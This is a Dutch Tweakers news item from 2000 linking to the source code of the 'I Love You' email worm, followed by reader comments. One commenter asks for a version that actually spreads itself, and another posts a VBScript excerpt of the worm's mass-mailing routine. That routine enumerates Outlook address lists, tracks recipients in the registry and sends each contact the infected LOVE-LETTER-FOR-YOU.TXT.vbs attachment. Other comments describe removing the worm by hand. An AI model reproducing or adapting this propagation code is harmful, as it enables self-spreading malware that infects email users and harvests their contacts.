Cookies op Tweakers

Tweakers maakt gebruik van cookies, onder andere om de website te analyseren, het gebruiksgemak te vergroten en advertenties te tonen. Door gebruik te maken van deze website, of door op 'Ga verder' te klikken, geef je toestemming voor het gebruik van cookies. Wil je meer informatie over cookies en hoe ze worden gebruikt, bekijk dan ons cookiebeleid.

Meer informatie

Source "I Love You"-virus

Voor de ge´nteresseerden: bij Wicked Nation is de complete source code te vinden van het "I Love You"-virus.

Met dank aan Diz-X voor de tip.

Door Alexander Visser

Frontpage Admin

08-05-2000 • 16:39

89 Linkedin Google+

Bron: Wicked Nation

Reacties (89)

Wijzig sortering
beetje overbodig topic inderdaad, ik heb namelijk op m'n werk op m'n pc wel 1000 keer de source staan.... waren namelijk eerst plaatjes van websites......

:(

* DF040F TheMask
ikke moet eerlijk zijn dat de source die hierboven gegeven staat niet werkt, ik heb hem namelijk zelf geprobeerd en hij stuurt niks door via het adressenboek. Ik had hem namelijk aangepast met mijn naam eronder.. ik zit nu verdomme wel zelf met dat virus, maar op zich boeit me dat niet..
Dus als iemand een echtere source heeft dan hierboven...die zichzelf wel doorstuurd..zeg het dan ff
eeuhhh looskuh:


dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send

----------

hij stuurt echt wel hoor!
heb je outlook wel?
ArjenK:

is dit dan ook het einde van batch bestanden en executables????????????????

wat een onzin!

je opent het toch zelf?!!!!!!
goh, de dag dat het virus zich verspreide. had ik die code al gecheckt!

en op die manier alles (de register instellingen) weer naar het originele verandert , zodat ik van het virus af was zonder een anti-virus update.
1 ... 7 8 9

Op dit item kan niet meer gereageerd worden.


Apple iPhone XS Red Dead Redemption 2 LG W7 Google Pixel 3 XL OnePlus 6T (6GB ram) FIFA 19 Samsung Galaxy S10 Google Pixel 3

Tweakers vormt samen met Tweakers Elect, Hardware.Info, Autotrack, Nationale Vacaturebank en Intermediair de Persgroep Online Services B.V.
Alle rechten voorbehouden © 1998 - 2018 Hosting door True